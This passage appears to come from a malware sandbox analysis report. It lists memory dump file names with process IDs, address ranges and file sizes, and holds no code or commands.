-
memory/4700-180-0x0000000000000000-mapping.dmp
-
memory/4712-161-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/4712-154-0x0000000140001844-mapping.dmp
-
memory/4712-153-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/4712-155-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/4712-157-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/4752-132-0x0000000000DE0000-0x0000000001098000-memory.dmpFilesize
2.7MB
-
memory/4752-156-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmpFilesize
10.8MB
-
memory/4752-140-0x0000000001FA0000-0x0000000001FB2000-memory.dmpFilesize
72KB
-
memory/4752-133-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmpFilesize
10.8MB
-
memory/4752-198-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmpFilesize
10.8MB
-
memory/4808-159-0x0000000000000000-mapping.dmp
-
memory/4984-145-0x0000000000000000-mapping.dmp
-
memory/5100-193-0x0000000000000000-mapping.dmp
-
memory/5116-196-0x0000000000000000-mapping.dmp